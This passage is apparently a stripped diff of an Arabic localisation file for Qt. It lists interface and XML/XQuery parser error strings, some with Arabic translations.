    -    
    -    
    -        
    -        Select All
    -        انتقاء الجميع
    -    
    -
    -
    -    QToolButton
    -    
    -        
    -        
    -        Press
    -        
    -    
    -    
    -        
    -        
    -        Open
    -        فتح
    -    
    -
    -
    -    QUdpSocket
    -    
    -        
    -        This platform does not support IPv6
    -        
    -    
    -
    -
    -    QUndoGroup
    -    
    -        
    -        Undo
    -        تراجع
    -    
    -    
    -        
    -        Redo
    -        إعادة
    -    
    -
    -
    -    QUndoModel
    -    
    -        
    -        <empty>
    -        
    -    
    -
    -
    -    QUndoStack
    -    
    -        
    -        Undo
    -        تراجع
    -    
    -    
    -        
    -        Redo
    -        إعادة
    -    
    -
    -
    -    QUnicodeControlCharacterMenu
    -    
    -        
    -        LRM Left-to-right mark
    -        
    -    
    -    
    -        
    -        RLM Right-to-left mark
    -        
    -    
    -    
    -        
    -        ZWJ Zero width joiner
    -        
    -    
    -    
    -        
    -        ZWNJ Zero width non-joiner
    -        
    -    
    -    
    -        
    -        ZWSP Zero width space
    -        
    -    
    -    
    -        
    -        LRE Start of left-to-right embedding
    -        
    -    
    -    
    -        
    -        RLE Start of right-to-left embedding
    -        
    -    
    -    
    -        
    -        LRO Start of left-to-right override
    -        
    -    
    -    
    -        
    -        RLO Start of right-to-left override
    -        
    -    
    -    
    -        
    -        PDF Pop directional formatting
    -        
    -    
    -    
    -        
    -        Insert Unicode control character
    -        
    -    
    -
    -
    -    QWebFrame
    -    
    -        
    -        Request cancelled
    -        
    -    
    -    
    -        
    -        Request blocked
    -        
    -    
    -    
    -        
    -        Cannot show URL
    -        
    -    
    -    
    -        
    -        Frame load interruped by policy change
    -        
    -    
    -    
    -        
    -        Cannot show mimetype
    -        
    -    
    -    
    -        
    -        File does not exist
    -        
    -    
    -
    -
    -    QWebPage
    -    
    -        
    -        Bad HTTP request
    -        
    -    
    -    
    -        
    -        Submit
    -        default label for Submit buttons in forms on web pages
    -        
    -    
    -    
    -        
    -        Submit
    -        Submit (input element) alt text for <input> elements with no alt, title, or value
    -        
    -    
    -    
    -        
    -        Reset
    -        default label for Reset buttons in forms on web pages
    -        
    -    
    -    
    -        
    -        This is a searchable index. Enter search keywords: 
    -        text that appears at the start of nearly-obsolete web pages in the form of a 'searchable index'
    -        
    -    
    -    
    -        
    -        Choose File
    -        title for file button used in HTML forms
    -        
    -    
    -    
    -        
    -        No file selected
    -        text to display in file button used in HTML forms when no file is selected
    -        
    -    
    -    
    -        
    -        Open in New Window
    -        Open in New Window context menu item
    -        
    -    
    -    
    -        
    -        Save Link...
    -        Download Linked File context menu item
    -        
    -    
    -    
    -        
    -        Copy Link
    -        Copy Link context menu item
    -        
    -    
    -    
    -        
    -        Open Image
    -        Open Image in New Window context menu item
    -        
    -    
    -    
    -        
    -        Save Image
    -        Download Image context menu item
    -        
    -    
    -    
    -        
    -        Copy Image
    -        Copy Link context menu item
    -        
    -    
    -    
    -        
    -        Open Frame
    -        Open Frame in New Window context menu item
    -        
    -    
    -    
    -        
    -        Copy
    -        Copy context menu item
    -        
    -    
    -    
    -        
    -        Go Back
    -        Back context menu item
    -        
    -    
    -    
    -        
    -        Go Forward
    -        Forward context menu item
    -        
    -    
    -    
    -        
    -        Stop
    -        Stop context menu item
    -        توقّف
    -    
    -    
    -        
    -        Reload
    -        Reload context menu item
    -        
    -    
    -    
    -        
    -        Cut
    -        Cut context menu item
    -        
    -    
    -    
    -        
    -        Paste
    -        Paste context menu item
    -        
    -    
    -    
    -        
    -        No Guesses Found
    -        No Guesses Found context menu item
    -        
    -    
    -    
    -        
    -        Ignore
    -        Ignore Spelling context menu item
    -        
    -    
    -    
    -        
    -        Add To Dictionary
    -        Learn Spelling context menu item
    -        
    -    
    -    
    -        
    -        Search The Web
    -        Search The Web context menu item
    -        
    -    
    -    
    -        
    -        Look Up In Dictionary
    -        Look Up in Dictionary context menu item
    -        
    -    
    -    
    -        
    -        Open Link
    -        Open Link context menu item
    -        
    -    
    -    
    -        
    -        Ignore
    -        Ignore Grammar context menu item
    -        
    -    
    -    
    -        
    -        Spelling
    -        Spelling and Grammar context sub-menu item
    -        
    -    
    -    
    -        
    -        Show Spelling and Grammar
    -        menu item title
    -        
    -    
    -    
    -        
    -        Hide Spelling and Grammar
    -        menu item title
    -        
    -    
    -    
    -        
    -        Check Spelling
    -        Check spelling context menu item
    -        
    -    
    -    
    -        
    -        Check Spelling While Typing
    -        Check spelling while typing context menu item
    -        
    -    
    -    
    -        
    -        Check Grammar With Spelling
    -        Check grammar with spelling context menu item
    -        
    -    
    -    
    -        
    -        Fonts
    -        Font context sub-menu item
    -        
    -    
    -    
    -        
    -        Bold
    -        Bold context menu item
    -        
    -    
    -    
    -        
    -        Italic
    -        Italic context menu item
    -        
    -    
    -    
    -        
    -        Underline
    -        Underline context menu item
    -        
    -    
    -    
    -        
    -        Outline
    -        Outline context menu item
    -        
    -    
    -    
    -        
    -        Direction
    -        Writing direction context sub-menu item
    -        
    -    
    -    
    -        
    -        Text Direction
    -        Text direction context sub-menu item
    -        
    -    
    -    
    -        
    -        Default
    -        Default writing direction context menu item
    -        
    -    
    -    
    -        
    -        LTR
    -        Left to Right context menu item
    -        
    -    
    -    
    -        
    -        RTL
    -        Right to Left context menu item
    -        
    -    
    -    
    -        
    -        Inspect
    -        Inspect Element context menu item
    -        
    -    
    -    
    -        
    -        No recent searches
    -        Label for only item in menu that appears when clicking on the search field image, when no searches have been performed
    -        
    -    
    -    
    -        
    -        Recent searches
    -        label for first item in the menu that appears when clicking on the search field image, used as embedded menu title
    -        
    -    
    -    
    -        
    -        Clear recent searches
    -        menu item in Recent Searches menu that empties menu's contents
    -        
    -    
    -    
    -        
    -        Unknown
    -        Unknown filesize FTP directory listing item
    -        
    -    
    -    
    -        
    -        %1 (%2x%3 pixels)
    -        Title string for images
    -        
    -    
    -    
    -        
    -        Web Inspector - %2
    -        
    -    
    -    
    -        
    -        Scroll here
    -        
    -    
    -    
    -        
    -        Left edge
    -        
    -    
    -    
    -        
    -        Top
    -        
    -    
    -    
    -        
    -        Right edge
    -        
    -    
    -    
    -        
    -        Bottom
    -        
    -    
    -    
    -        
    -        Page left
    -        
    -    
    -    
    -        
    -        Page up
    -        
    -    
    -    
    -        
    -        Page right
    -        
    -    
    -    
    -        
    -        Page down
    -        
    -    
    -    
    -        
    -        Scroll left
    -        
    -    
    -    
    -        
    -        Scroll up
    -        
    -    
    -    
    -        
    -        Scroll right
    -        
    -    
    -    
    -        
    -        Scroll down
    -        
    -    
    -    
    -        
    -        %n file(s)
    -        number of chosen file
    -        
    -            
    -        
    -    
    -    
    -        
    -        JavaScript Alert - %1
    -        
    -    
    -    
    -        
    -        JavaScript Confirm - %1
    -        
    -    
    -    
    -        
    -        JavaScript Prompt - %1
    -        
    -    
    -    
    -        
    -        Move the cursor to the next character
    -        
    -    
    -    
    -        
    -        Move the cursor to the previous character
    -        
    -    
    -    
    -        
    -        Move the cursor to the next word
    -        
    -    
    -    
    -        
    -        Move the cursor to the previous word
    -        
    -    
    -    
    -        
    -        Move the cursor to the next line
    -        
    -    
    -    
    -        
    -        Move the cursor to the previous line
    -        
    -    
    -    
    -        
    -        Move the cursor to the start of the line
    -        
    -    
    -    
    -        
    -        Move the cursor to the end of the line
    -        
    -    
    -    
    -        
    -        Move the cursor to the start of the block
    -        
    -    
    -    
    -        
    -        Move the cursor to the end of the block
    -        
    -    
    -    
    -        
    -        Move the cursor to the start of the document
    -        
    -    
    -    
    -        
    -        Move the cursor to the end of the document
    -        
    -    
    -    
    -        
    -        Select all
    -        
    -    
    -    
    -        
    -        Select to the next character
    -        
    -    
    -    
    -        
    -        Select to the previous character
    -        
    -    
    -    
    -        
    -        Select to the next word
    -        
    -    
    -    
    -        
    -        Select to the previous word
    -        
    -    
    -    
    -        
    -        Select to the next line
    -        
    -    
    -    
    -        
    -        Select to the previous line
    -        
    -    
    -    
    -        
    -        Select to the start of the line
    -        
    -    
    -    
    -        
    -        Select to the end of the line
    -        
    -    
    -    
    -        
    -        Select to the start of the block
    -        
    -    
    -    
    -        
    -        Select to the end of the block
    -        
    -    
    -    
    -        
    -        Select to the start of the document
    -        
    -    
    -    
    -        
    -        Select to the end of the document
    -        
    -    
    -    
    -        
    -        Delete to the start of the word
    -        
    -    
    -    
    -        
    -        Delete to the end of the word
    -        
    -    
    -    
    -        
    -        Insert a new paragraph
    -        
    -    
    -    
    -        
    -        Insert a new line
    -        
    -    
    -
    -
    -    QWhatsThisAction
    -    
    -        
    -        What's This?
    -        ما هذا؟
    -    
    -
    -
    -    QWidget
    -    
    -        
    -        *
    -        
    -    
    -
    -
    -    QWizard
    -    
    -        
    -        < &Back
    -        < &رجوع
    -    
    -    
    -        
    -        &Finish
    -        إ&نهاء
    -    
    -    
    -        
    -        &Help
    -        &مساعدة
    -    
    -    
    -        
    -        Go Back
    -        
    -    
    -    
    -        
    -        Continue
    -        
    -    
    -    
    -        
    -        Commit
    -        
    -    
    -    
    -        
    -        Done
    -        
    -    
    -    
    -        Quit
    -        إنتهاء
    -    
    -    
    -        
    -        Help
    -        مساعدة
    -    
    -    
    -        
    -        Cancel
    -        إلغاء
    -    
    -    
    -        
    -        &Next
    -        
    -    
    -    
    -        
    -        &Next >
    -        ال&تّالي >
    -    
    -
    -
    -    QWorkspace
    -    
    -        
    -        &Restore
    -        ا&ستعاد
    -    
    -    
    -        
    -        &Move
    -        &تحريك
    -    
    -    
    -        
    -        &Size
    -        &حجم
    -    
    -    
    -        
    -        Mi&nimize
    -        ت&صغير
    -    
    -    
    -        
    -        Ma&ximize
    -        ت&كبير
    -    
    -    
    -        
    -        &Close
    -        إ&غلاق
    -    
    -    
    -        
    -        Stay on &Top
    -        ال&بقاء في الأمام
    -    
    -    
    -        
    -        
    -        Sh&ade
    -        ت&ظليل
    -    
    -    
    -        
    -        
    -        %1 - [%2]
    -        %1 - [%2]
    -    
    -    
    -        
    -        Minimize
    -        تصغير
    -    
    -    
    -        
    -        Restore Down
    -        استعاد في الأسفل
    -    
    -    
    -        
    -        Close
    -        إغلاق
    -    
    -    
    -        
    -        &Unshade
    -        إ&لغاء التّظليل
    -    
    -
    -
    -    QXml
    -    
    -        
    -        no error occurred
    -        لم يحدث  هناك أيّ خطأ
    -    
    -    
    -        
    -        error triggered by consumer
    -        أطلق الخطأ من طرف المستهلك
    -    
    -    
    -        
    -        unexpected end of file
    -        نهاية غير متوقّعة للملفّ
    -    
    -    
    -        
    -        more than one document type definition
    -        أكثر من تعريف لطراز الوثيقة
    -    
    -    
    -        
    -        error occurred while parsing element
    -        حدث خطأ عند تحليل تركيب العنصر
    -    
    -    
    -        
    -        tag mismatch
    -        عدم تطابق العلامة
    -    
    -    
    -        
    -        error occurred while parsing content
    -        حدث خطأ عند تحليل تركيب المحتوى
    -    
    -    
    -        
    -        unexpected character
    -        رمز غير متوقّع
    -    
    -    
    -        
    -        invalid name for processing instruction
    -        إسم غير صالح لتعليمة المعالجة
    -    
    -    
    -        
    -        version expected while reading the XML declaration
    -        الإصدار متوقّع عند قراءة إعلان الXML
    -    
    -    
    -        
    -        wrong value for standalone declaration
    -        قيمة خاطئة لإعلان مستقلّ
    -    
    -    
    -        
    -        encoding declaration or standalone declaration expected while reading the XML declaration
    -        إعلان التّرميز أو إعلان مستقلّ متوقّع عند قراءة إعلان الXML
    -    
    -    
    -        
    -        standalone declaration expected while reading the XML declaration
    -        إعلان مستقلّ متوقّع عند قراءة إعلان الXML
    -    
    -    
    -        
    -        error occurred while parsing document type definition
    -        حدث خطأ عند تحليل تركيب تعريف طراز الوثيقة
    -    
    -    
    -        
    -        letter is expected
    -        حرف متوقّع
    -    
    -    
    -        
    -        error occurred while parsing comment
    -        حدث خطأ عند تحليل تركيب التّعليق
    -    
    -    
    -        
    -        error occurred while parsing reference
    -        حدث خطأ عند تحليل تركيب المرجع
    -    
    -    
    -        
    -        internal general entity reference not allowed in DTD
    -        المرجع إلى كيان داخلي عامّ غير مسموح به في الDTD
    -    
    -    
    -        
    -        external parsed general entity reference not allowed in attribute value
    -        المرجع إلى كيان خارجي عامّ معرب غير مسموح به في قيمة الخاصّية
    -    
    -    
    -        
    -        external parsed general entity reference not allowed in DTD
    -        المرجع إلى كيان خارجي عامّ معرب غير مسموح به في الDTD
    -    
    -    
    -        
    -        unparsed entity reference in wrong context
    -        مرجع إلى كيان غير معرب في سياق خاطئ
    -    
    -    
    -        
    -        recursive entities
    -        كيانات معاودة
    -    
    -    
    -        
    -        error in the text declaration of an external entity
    -        خطأ في التّعريف النّصّي لكيان خارجي
    -    
    -
    -
    -    QXmlStream
    -    
    -        
    -        
    -        Extra content at end of document.
    -        
    -    
    -    
    -        
    -        Invalid entity value.
    -        
    -    
    -    
    -        
    -        Invalid XML character.
    -        
    -    
    -    
    -        
    -        Sequence ']]>' not allowed in content.
    -        
    -    
    -    
    -        
    -        Namespace prefix '%1' not declared
    -        
    -    
    -    
    -        
    -        Attribute redefined.
    -        
    -    
    -    
    -        
    -        Unexpected character '%1' in public id literal.
    -        
    -    
    -    
    -        
    -        Invalid XML version string.
    -        
    -    
    -    
    -        
    -        Unsupported XML version.
    -        
    -    
    -    
    -        
    -        %1 is an invalid encoding name.
    -        
    -    
    -    
    -        
    -        Encoding %1 is unsupported
    -        
    -    
    -    
    -        
    -        Standalone accepts only yes or no.
    -        
    -    
    -    
    -        
    -        Invalid attribute in XML declaration.
    -        
    -    
    -    
    -        
    -        Premature end of document.
    -        
    -    
    -    
    -        
    -        Invalid document.
    -        
    -    
    -    
    -        
    -        Expected 
    -        
    -    
    -    
    -        
    -        , but got '
    -        
    -    
    -    
    -        
    -        Unexpected '
    -        
    -    
    -    
    -        
    -        Expected character data.
    -        
    -    
    -    
    -        
    -        Recursive entity detected.
    -        
    -    
    -    
    -        
    -        Start tag expected.
    -        
    -    
    -    
    -        
    -        XML declaration not at start of document.
    -        
    -    
    -    
    -        
    -        NDATA in parameter entity declaration.
    -        
    -    
    -    
    -        
    -        %1 is an invalid processing instruction name.
    -        
    -    
    -    
    -        
    -        Invalid processing instruction name.
    -        
    -    
    -    
    -        
    -        
    -        
    -        
    -        Illegal namespace declaration.
    -        
    -    
    -    
    -        
    -        Invalid XML name.
    -        
    -    
    -    
    -        
    -        Opening and ending tag mismatch.
    -        
    -    
    -    
    -        
    -        Reference to unparsed entity '%1'.
    -        
    -    
    -    
    -        
    -        
    -        
    -        Entity '%1' not declared.
    -        
    -    
    -    
    -        
    -        Reference to external entity '%1' in attribute value.
    -        
    -    
    -    
    -        
    -        Invalid character reference.
    -        
    -    
    -    
    -        
    -        
    -        Encountered incorrectly encoded content.
    -        
    -    
    -    
    -        
    -        The standalone pseudo attribute must appear after the encoding.
    -        
    -    
    -    
    -        
    -        %1 is an invalid PUBLIC identifier.
    -        
    -    
    -
    -
    -    QtXmlPatterns
    -    
    -        
    -        An %1-attribute with value %2 has already been declared.
    -        
    -    
    -    
    -        
    -        An %1-attribute must have a valid %2 as value, which %3 isn't.
    -        
    -    
    -    
    -        
    -        Network timeout.
    -        
    -    
    -    
    -        
    -        Element %1 can't be serialized because it appears outside the document element.
    -        
    -    
    -    
    -        
    -        Attribute %1 can't be serialized because it appears at the top level.
    -        
    -    
    -    
    -        
    -        Year %1 is invalid because it begins with %2.
    -        
    -    
    -    
    -        
    -        Day %1 is outside the range %2..%3.
    -        
    -    
    -    
    -        
    -        Month %1 is outside the range %2..%3.
    -        
    -    
    -    
    -        
    -        Overflow: Can't represent date %1.
    -        
    -    
    -    
    -        
    -        Day %1 is invalid for month %2.
    -        
    -    
    -    
    -        
    -        Time 24:%1:%2.%3 is invalid. Hour is 24, but minutes, seconds, and milliseconds are not all 0; 
    -        
    -    
    -    
    -        
    -        Time %1:%2:%3.%4 is invalid.
    -        
    -    
    -    
    -        
    -        Overflow: Date can't be represented.
    -        
    -    
    -    
    -        
    -        
    -        At least one component must be present.
    -        
    -    
    -    
    -        
    -        At least one time component must appear after the %1-delimiter.
    -        
    -    
    -    
    -        
    -        No operand in an integer division, %1, can be %2.
    -        
    -    
    -    
    -        
    -        The first operand in an integer division, %1, cannot be infinity (%2).
    -        
    -    
    -    
    -        
    -        The second operand in a division, %1, cannot be zero (%2).
    -        
    -    
    -    
    -        
    -        %1 is not a valid value of type %2.
    -        
    -    
    -    
    -        
    -        When casting to %1 from %2, the source value cannot be %3.
    -        
    -    
    -    
    -        
    -        Integer division (%1) by zero (%2) is undefined.
    -        
    -    
    -    
    -        
    -        Division (%1) by zero (%2) is undefined.
    -        
    -    
    -    
    -        
    -        Modulus division (%1) by zero (%2) is undefined.
    -        
    -    
    -    
    -        
    -        
    -        Dividing a value of type %1 by %2 (not-a-number) is not allowed.
    -        
    -    
    -    
    -        
    -        Dividing a value of type %1 by %2 or %3 (plus or minus zero) is not allowed.
    -        
    -    
    -    
    -        
    -        Multiplication of a value of type %1 by %2 or %3 (plus or minus infinity) is not allowed.
    -        
    -    
    -    
    -        
    -        A value of type %1 cannot have an Effective Boolean Value.
    -        
    -    
    -    
    -        
    -        Effective Boolean Value cannot be calculated for a sequence containing two or more atomic values.
    -        
    -    
    -    
    -        
    -        Value %1 of type %2 exceeds maximum (%3).
    -        
    -    
    -    
    -        
    -        Value %1 of type %2 is below minimum (%3).
    -        
    -    
    -    
    -        
    -        A value of type %1 must contain an even number of digits. The value %2 does not.
    -        
    -    
    -    
    -        
    -        %1 is not valid as a value of type %2.
    -        
    -    
    -    
    -        
    -        Operator %1 cannot be used on type %2.
    -        
    -    
    -    
    -        
    -        Operator %1 cannot be used on atomic values of type %2 and %3.
    -        
    -    
    -    
    -        
    -        The namespace URI in the name for a computed attribute cannot be %1.
    -        
    -    
    -    
    -        
    -        The name for a computed attribute cannot have the namespace URI %1 with the local name %2.
    -        
    -    
    -    
    -        
    -        Type error in cast, expected %1, received %2.
    -        
    -    
    -    
    -        
    -        When casting to %1 or types derived from it, the source value must be of the same type, or it must be a string literal. Type %2 is not allowed.
    -        
    -    
    -    
    -        
    -        No casting is possible with %1 as the target type.
    -        
    -    
    -    
    -        
    -        It is not possible to cast from %1 to %2.
    -        
    -    
    -    
    -        
    -        Casting to %1 is not possible because it is an abstract type, and can therefore never be instantiated.
    -        
    -    
    -    
    -        
    -        It's not possible to cast the value %1 of type %2 to %3
    -        
    -    
    -    
    -        
    -        Failure when casting from %1 to %2: %3
    -        
    -    
    -    
    -        
    -        A comment cannot contain %1
    -        
    -    
    -    
    -        
    -        A comment cannot end with a %1.
    -        
    -    
    -    
    -        
    -        No comparisons can be done involving the type %1.
    -        
    -    
    -    
    -        
    -        Operator %1 is not available between atomic values of type %2 and %3.
    -        
    -    
    -    
    -        
    -        An attribute node cannot be a child of a document node. Therefore, the attribute %1 is out of place.
    -        
    -    
    -    
    -        
    -        A library module cannot be evaluated directly. It must be imported from a main module.
    -        
    -    
    -    
    -        
    -        No template by name %1 exists.
    -        
    -    
    -    
    -        
    -        A value of type %1 cannot be a predicate. A predicate must have either a numeric type or an Effective Boolean Value type.
    -        
    -    
    -    
    -        
    -        A positional predicate must evaluate to a single numeric value.
    -        
    -    
    -    
    -        
    -        The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, is %2 invalid.
    -        
    -    
    -    
    -        
    -        %1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3.
    -        
    -    
    -    
    -        
    -        The last step in a path must contain either nodes or atomic values. It cannot be a mixture between the two.
    -        
    -    
    -    
    -        
    -        The data of a processing instruction cannot contain the string %1
    -        
    -    
    -    
    -        
    -        No namespace binding exists for the prefix %1
    -        
    -    
    -    
    -        
    -        No namespace binding exists for the prefix %1 in %2
    -        
    -    
    -    
    -        
    -        
    -        %1 is an invalid %2
    -        
    -    
    -    
    -        
    -        %1 takes at most %n argument(s). %2 is therefore invalid.
    -        
    -            
    -        
    -    
    -    
    -        
    -        %1 requires at least %n argument(s). %2 is therefore invalid.
    -        
    -            
    -        
    -    
    -    
    -        
    -        The first argument to %1 cannot be of type %2. It must be a numeric type, xs:yearMonthDuration or xs:dayTimeDuration.
    -        
    -    
    -    
    -        
    -        The first argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.
    -        
    -    
    -    
    -        
    -        The second argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.
    -        
    -    
    -    
    -        
    -        %1 is not a valid XML 1.0 character.
    -        
    -    
    -    
    -        
    -        The first argument to %1 cannot be of type %2.
    -        
    -    
    -    
    -        
    -        If both values have zone offsets, they must have the same zone offset. %1 and %2 are not the same.
    -        
    -    
    -    
    -        
    -        %1 was called.
    -        
    -    
    -    
    -        
    -        %1 must be followed by %2 or %3, not at the end of the replacement string.
    -        
    -    
    -    
    -        
    -        In the replacement string, %1 must be followed by at least one digit when not escaped.
    -        
    -    
    -    
    -        
    -        In the replacement string, %1 can only be used to escape itself or %2, not %3
    -        
    -    
    -    
    -        
    -        %1 matches newline characters
    -        
    -    
    -    
    -        
    -        %1 and %2 match the start and end of a line.
    -        
    -    
    -    
    -        
    -        Matches are case insensitive
    -        
    -    
    -    
    -        
    -        Whitespace characters are removed, except when they appear in character classes
    -        
    -    
    -    
    -        
    -        %1 is an invalid regular expression pattern: %2
    -        
    -    
    -    
    -        
    -        %1 is an invalid flag for regular expressions. Valid flags are:
    -        
    -    
    -    
    -        
    -        If the first argument is the empty sequence or a zero-length string (no namespace), a prefix cannot be specified. Prefix %1 was specified.
    -        
    -    
    -    
    -        
    -        It will not be possible to retrieve %1.
    -        
    -    
    -    
    -        
    -        The root node of the second argument to function %1 must be a document node. %2 is not a document node.
    -        
    -    
    -    
    -        
    -        The default collection is undefined
    -        
    -    
    -    
    -        
    -        %1 cannot be retrieved
    -        
    -    
    -    
    -        
    -        The normalization form %1 is unsupported. The supported forms are %2, %3, %4, and %5, and none, i.e. the empty string (no normalization).
    -        
    -    
    -    
    -        
    -        A zone offset must be in the range %1..%2 inclusive. %3 is out of range.
    -        
    -    
    -    
    -        
    -        %1 is not a whole number of minutes.
    -        
    -    
    -    
    -        
    -        Required cardinality is %1; got cardinality %2.
    -        
    -    
    -    
    -        
    -        The item %1 did not match the required type %2.
    -        
    -    
    -    
    -        
    -        
    -        %1 is an unknown schema type.
    -        
    -    
    -    
    -        
    -        Only one %1 declaration can occur in the query prolog.
    -        
    -    
    -    
    -        
    -        The initialization of variable %1 depends on itself
    -        
    -    
    -    
    -        
    -        No variable by name %1 exists
    -        
    -    
    -    
    -        
    -        The variable %1 is unused
    -        
    -    
    -    
    -        
    -        Version %1 is not supported. The supported XQuery version is 1.0.
    -        
    -    
    -    
    -        
    -        The encoding %1 is invalid. It must contain Latin characters only, must not contain whitespace, and must match the regular expression %2.
    -        
    -    
    -    
    -        
    -        No function with signature %1 is available
    -        
    -    
    -    
    -        
    -        
    -        A default namespace declaration must occur before function, variable, and option declarations.
    -        
    -    
    -    
    -        
    -        Namespace declarations must occur before function, variable, and option declarations.
    -        
    -    
    -    
    -        
    -        Module imports must occur before function, variable, and option declarations.
    -        
    -    
    -    
    -        
    -        It is not possible to redeclare prefix %1.
    -        
    -    
    -    
    -        
    -        Prefix %1 is already declared in the prolog.
    -        
    -    
    -    
    -        
    -        The name of an option must have a prefix. There is no default namespace for options.
    -        
    -    
    -    
    -        
    -        The Schema Import feature is not supported, and therefore %1 declarations cannot occur.
    -        
    -    
    -    
    -        
    -        The target namespace of a %1 cannot be empty.
    -        
    -    
    -    
    -        
    -        The module import feature is not supported
    -        
    -    
    -    
    -        
    -        No value is available for the external variable by name %1.
    -        
    -    
    -    
    -        
    -        A construct was encountered which only is allowed in XQuery.
    -        
    -    
    -    
    -        
    -        A template by name %1 has already been declared.
    -        
    -    
    -    
    -        
    -        The keyword %1 cannot occur with any other mode name.
    -        
    -    
    -    
    -        
    -        The value of attribute %1 must of type %2, which %3 isn't.
    -        
    -    
    -    
    -        
    -        The prefix %1 can not be bound. By default, it is already bound to the namespace %2.
    -        
    -    
    -    
    -        
    -        A variable by name %1 has already been declared.
    -        
    -    
    -    
    -        
    -        A stylesheet function must have a prefixed name.
    -        
    -    
    -    
    -        
    -        The namespace for a user defined function cannot be empty (try the predefined prefix %1 which exists for cases like this)
    -        
    -    
    -    
    -        
    -        The namespace %1 is reserved; therefore user defined functions may not use it. Try the predefined prefix %2, which exists for these cases.
    -        
    -    
    -    
    -        
    -        The namespace of a user defined function in a library module must be equivalent to the module namespace. In other words, it should be %1 instead of %2
    -        
    -    
    -    
    -        
    -        A function already exists with the signature %1.
    -        
    -    
    -    
    -        
    -        No external functions are supported. All supported functions can be used directly, without first declaring them as external
    -        
    -    
    -    
    -        
    -        An argument by name %1 has already been declared. Every argument name must be unique.
    -        
    -    
    -    
    -        
    -        When function %1 is used for matching inside a pattern, the argument must be a variable reference or a string literal.
    -        
    -    
    -    
    -        
    -        In an XSL-T pattern, the first argument to function %1 must be a string literal, when used for matching.
    -        
    -    
    -    
    -        
    -        In an XSL-T pattern, the first argument to function %1 must be a literal or a variable reference, when used for matching.
    -        
    -    
    -    
    -        
    -        In an XSL-T pattern, function %1 cannot have a third argument.
    -        
    -    
    -    
    -        
    -        In an XSL-T pattern, only function %1 and %2, not %3, can be used for matching.
    -        
    -    
    -    
    -        
    -        In an XSL-T pattern, axis %1 cannot be used, only axis %2 or %3 can.
    -        
    -    
    -    
    -        
    -        %1 is an invalid template mode name.
    -        
    -    
    -    
    -        
    -        The name of a variable bound in a for-expression must be different from the positional variable. Hence, the two variables named %1 collide.
    -        
    -    
    -    
    -        
    -        The Schema Validation Feature is not supported. Hence, %1-expressions may not be used.
    -        
    -    
    -    
    -        
    -        None of the pragma expressions are supported. Therefore, a fallback expression must be present
    -        
    -    
    -    
    -        
    -        Each name of a template parameter must be unique; %1 is duplicated.
    -        
    -    
    -    
    -        
    -        The %1-axis is unsupported in XQuery
    -        
    -    
    -    
    -        
    -        %1 is not a valid name for a processing-instruction.
    -        
    -    
    -    
    -        
    -        %1 is not a valid numeric literal.
    -        
    -    
    -    
    -        
    -        No function by name %1 is available.
    -        
    -    
    -    
    -        
    -        The namespace URI cannot be the empty string when binding to a prefix, %1.
    -        
    -    
    -    
    -        
    -        %1 is an invalid namespace URI.
    -        
    -    
    -    
    -        
    -        It is not possible to bind to the prefix %1
    -        
    -    
    -    
    -        
    -        Namespace %1 can only be bound to %2 (and it is, in either case, pre-declared).
    -        
    -    
    -    
    -        
    -        Prefix %1 can only be bound to %2 (and it is, in either case, pre-declared).
    -        
    -    
    -    
    -        
    -        Two namespace declaration attributes have the same name: %1.
    -        
    -    
    -    
    -        
    -        The namespace URI must be a constant and cannot use enclosed expressions.
    -        
    -    
    -    
    -        
    -        An attribute by name %1 has already appeared on this element.
    -        
    -    
    -    
    -        
    -        A direct element constructor is not well-formed. %1 is ended with %2.
    -        
    -    
    -    
    -        
    -        The name %1 does not refer to any schema type.
    -        
    -    
    -    
    -        
    -        %1 is an complex type. Casting to complex types is not possible. However, casting to atomic types such as %2 works.
    -        
    -    
    -    
    -        
    -        %1 is not an atomic type. Casting is only possible to atomic types.
    -        
    -    
    -    
    -        
    -        
    -        %1 is not in the in-scope attribute declarations. Note that the schema import feature is not supported.
    -        
    -    
    -    
    -        
    -        The name of an extension expression must be in a namespace.
    -        
    -    
    -    
    -        
    -        empty
    -        
    -    
    -    
    -        
    -        zero or one
    -        
    -    
    -    
    -        
    -        exactly one
    -        
    -    
    -    
    -        
    -        one or more
    -        
    -    
    -    
    -        
    -        zero or more
    -        
    -    
    -    
    -        
    -        Required type is %1, but %2 was found.
    -        
    -    
    -    
    -        
    -        Promoting %1 to %2 may cause loss of precision.
    -        
    -    
    -    
    -        
    -        The focus is undefined.
    -        
    -    
    -    
    -        
    -        It's not possible to add attributes after any other kind of node.
    -        
    -    
    -    
    -        
    -        An attribute by name %1 has already been created.
    -        
    -    
    -    
    -        
    -        Only the Unicode Codepoint Collation is supported(%1). %2 is unsupported.
    -        
    -    
    -    
    -        
    -        %1 is an unsupported encoding.
    -        
    -    
    -    
    -        
    -        %1 contains octets which are disallowed in the requested encoding %2.
    -        
    -    
    -    
    -        
    -        The codepoint %1, occurring in %2 using encoding %3, is an invalid XML character.
    -        
    -    
    -    
    -        
    -        Ambiguous rule match.
    -        
    -    
    -    
    -        
    -        In a namespace constructor, the value for a namespace cannot be an empty string.
    -        
    -    
    -    
    -        
    -        The prefix must be a valid %1, which %2 is not.
    -        
    -    
    -    
    -        
    -        The prefix %1 cannot be bound.
    -        
    -    
    -    
    -        
    -        Only the prefix %1 can be bound to %2 and vice versa.
    -        
    -    
    -    
    -        
    -        Circularity detected
    -        
    -    
    -    
    -        
    -        The parameter %1 is required, but no corresponding %2 is supplied.
    -        
    -    
    -    
    -        
    -        The parameter %1 is passed, but no corresponding %2 exists.
    -        
    -    
    -    
    -        
    -        The URI cannot have a fragment
    -        
    -    
    -    
    -        
    -        Element %1 is not allowed at this location.
    -        
    -    
    -    
    -        
    -        Text nodes are not allowed at this location.
    -        
    -    
    -    
    -        
    -        Parse error: %1
    -        
    -    
    -    
    -        
    -        The value of the XSL-T version attribute must be a value of type %1, which %2 isn't.
    -        
    -    
    -    
    -        
    -        Running an XSL-T 1.0 stylesheet with a 2.0 processor.
    -        
    -    
    -    
    -        
    -        Unknown XSL-T attribute %1.
    -        
    -    
    -    
    -        
    -        Attribute %1 and %2 are mutually exclusive.
    -        
    -    
    -    
    -        
    -        In a simplified stylesheet module, attribute %1 must be present.
    -        
    -    
    -    
    -        
    -        If element %1 has no attribute %2, it cannot have attribute %3 or %4.
    -        
    -    
    -    
    -        
    -        Element %1 must have at least one of the attributes %2 or %3.
    -        
    -    
    -    
    -        
    -        At least one mode must be specified in the %1-attribute on element %2.
    -        
    -    
    -    
    -        
